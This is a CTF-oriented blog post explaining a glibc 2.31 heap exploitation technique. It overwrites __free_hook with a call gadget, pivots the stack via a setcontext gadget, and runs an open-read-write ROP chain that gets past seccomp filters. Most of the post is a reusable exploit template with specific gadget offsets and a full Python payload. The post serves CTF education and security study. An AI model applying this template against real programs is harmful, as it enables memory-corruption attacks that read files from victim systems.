Glibc 2.31 Heap + Seccomp Exploitation Technique using ROP

Table of Contents

Introduction

In this post, I assume that readers are somewhat comfortable with heap exploitation. If you are not, you can start with other simpler techniques available on the Internet to get used to it first.

Recently, I have seen a lot of glibc 2.31 heap pwning challenges in various CTFs that include seccomp filters which prevent you from directly overwrite __free_hook with one_gadget to pop a shell. I have also read some writeups of different CTF players using different techniques to workaround the seccomp filters, but it seems that no one has written about a generalized exploitation technique for this kind of challenge. Therefore in this blog post, I will demonstrate the technique I use, analyze how it works and provide you with a template that can be reused if the pre-requisites are met.

Pre-requisites

For this technique to be successfully executed, the following conditions must be met:

• You can leak libc and heap’s base addresses.
• You have a primitive that can overwrite __free_hook.
• My ROP chain is an open-read-write chain, which means that the only syscalls that need to be allowed by seccomp are open, read and write (this is true for most challenges). It doesn’t need mmap or mprotect to work.
• You can write to a heap chunk that is large enough to contain the payload, which is 0x168 bytes, if it’s too much, you can consider using other shorter payloads with mprotect or mmap, but the idea is the same (and of course you must be able to free that chunk).
• You know the absolute path to flag file (which you can most of the time ask the organizers).

Gadgets

As I mentioned in the title, this technique is a ROP chain on the heap, and with ROP, the most important things are the gadgets. All the gadgets that are used in this technique are in libc itself, the libc-2.31.so version I used here has md5sum of 1ec728d58f7fc0d302119e9bb53050f8. If you have a libc-2.31.so that has different checksum, the offset might be different, but the gadgets should still be there. Below are the gadgets I use:

Firstly, the ordinary gadgets that deal with manipulating registers and syscall:

# l.address is leaked base of libc
pop_rdi = l.address + 0x26b72
pop_rsi = l.address + 0x27529
pop_rdx_r12 = l.address + 0x11c371
push_rax = l.address + 0x45197
pop_rax = l.address + 0x4a550
xchg_eax_edi = l.address + 0x2ad2b
syscall_ret = l.address + 0x66229

All the gadgets except syscall_ret can be found using this ROPgadget tool. For syscall_ret, you can use this command (thanks @Catafact for this):

objdump -D -Mintel ./libc-2.31.so | grep -B 1 ret | grep -A 1 syscall

The next 2 gadgets are crucial for this technique, the first one is at call_gadget = l.address + 0x154930:

mov     rdx, [rdi+8]
mov     [rsp], rax
call    qword ptr [rdx+0x20]

This gadget is what we will overwrite __free_hook with. It allows us to call an arbitrary function through rdx, if we control rdi, which is exactly the parameter that will be passed to free().

The next gadget is inside libc function setcontext(), at offset setcontext_gadget = l.address + 0x580DD:

mov     rsp, [rdx+0A0h]
mov     rbx, [rdx+80h]
mov     rbp, [rdx+78h]
mov     r12, [rdx+48h]
mov     r13, [rdx+50h]
mov     r14, [rdx+58h]
mov     r15, [rdx+60h]
test    dword ptr fs:48h, 2
jz      loc_581C6

loc_581C6:
mov     rcx, [rdx+0A8h]
push    rcx
mov     rsi, [rdx+70h]
mov     rdi, [rdx+68h]
mov     rcx, [rdx+98h]
mov     r8, [rdx+28h]
mov     r9, [rdx+30h]
mov     rdx, [rdx+88h]
xor     eax, eax
ret

Because we control rdx, this gadget allows us to set almost every registers (with the exception of rax, r10 and r11).

The payload

My payload can be divided into 3 parts, which I will explain one by one.

The first part:

base = heap + <.....>             # payload_base (address of the chunk)
payload = b"A"*8                  # <-- [rdi] <-- payload_base
payload += p64(base)              # <-- [rdi + 8] = rdx
payload += b"B"*0x10              # padding
payload += p64(setcontext_gadget) # <-- [rdx + 0x20]

This is the base of our payload, where rdi will be pointed to when free() is called. I set [rdi + 8] to also be base, so that when mov rdx, [rdi+8] is executed, rdx will also point at base. Then [rdx + 0x20] will be the address of the setcontext() gadget, which will be called.

The second part, which will be utilized after setcontext_gadget is called:

payload += p64(0)                 # <-- [rdx + 0x28] = r8
payload += p64(0)                 # <-- [rdx + 0x30] = r9
payload += b"A"*0x10              # padding
payload += p64(0)                 # <-- [rdx + 0x48] = r12
payload += p64(0)                 # <-- [rdx + 0x50] = r13
payload += p64(0)                 # <-- [rdx + 0x58] = r14
payload += p64(0)                 # <-- [rdx + 0x60] = r15
payload += p64(base + 0x258)      # <-- [rdx + 0x68] = rdi (ptr to flag path)
payload += p64(0)                 # <-- [rdx + 0x70] = rsi (flag = O_RDONLY)
payload += p64(0)                 # <-- [rdx + 0x78] = rbp
payload += p64(0)                 # <-- [rdx + 0x80] = rbx
payload += p64(0)                 # <-- [rdx + 0x88] = rdx 
payload += b"A"*8                 # padding
payload += p64(0)                 # <-- [rdx + 0x98] = rcx 
payload += p64(base + 0x1b0)      # <-- [rdx + 0xa0] = rsp, perfectly setup for it to ret into our chain
payload += p64(pop_rax)           # <-- [rdx + 0xa8] = rcx, will be pushed to rsp

With the comments, it is self-explanatory. This is where all the registers are set based on rdx. Even though there are lots of registers to set, I’m only interested at rdi and rsi, which will be the parameters to sys_open, along with rcx and rsp, which must be carefully set so that after push rcx is executed, rsp must be in the correct position to execute the third part, which is the ROP chain on the heap, rcx is set to pop_rax gadget to start the chain.

The third part:

payload += p64(2)
payload += p64(syscall_ret) # sys_open("/path/to/flag", O_RDONLY)
payload += p64(xchg_eax_edi)
payload += p64(pop_rsi)
payload += p64(heap + 0x15000) # destination buffer, can be anywhere readable and writable
payload += p64(pop_rdx_r12)
payload += p64(0x100) + p64(0) # nbytes
payload += p64(pop_rax)
payload += p64(0)
payload += p64(syscall_ret) # sys_read(eax, heap + 0x15000, 0x100)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap + 0x15000) # buffer
payload += p64(pop_rdx_r12)
payload += p64(0x100) + p64(0) # nbytes
payload += p64(pop_rax)
payload += p64(1)
payload += p64(syscall_ret) # sys_write(1, heap + 0x15000, 0x100)
payload += b"/path/to/flag"

Nothing much to say about this part, if you know ROP, you know that this is an ordinary open-read-write chain.

After allocating this payload and overwriting __free_hook with the call_gadget, calling free() on it will execute the chain and print out the flag.

Examples

Here are some writeups to challenges that me and my team solved using this technique:

• TetCTF2021 - cache_v1 & cache_v2 by @midas (me).
• ASCIS/SVATTT2020 Finals - Secret Keeper by @pickaxe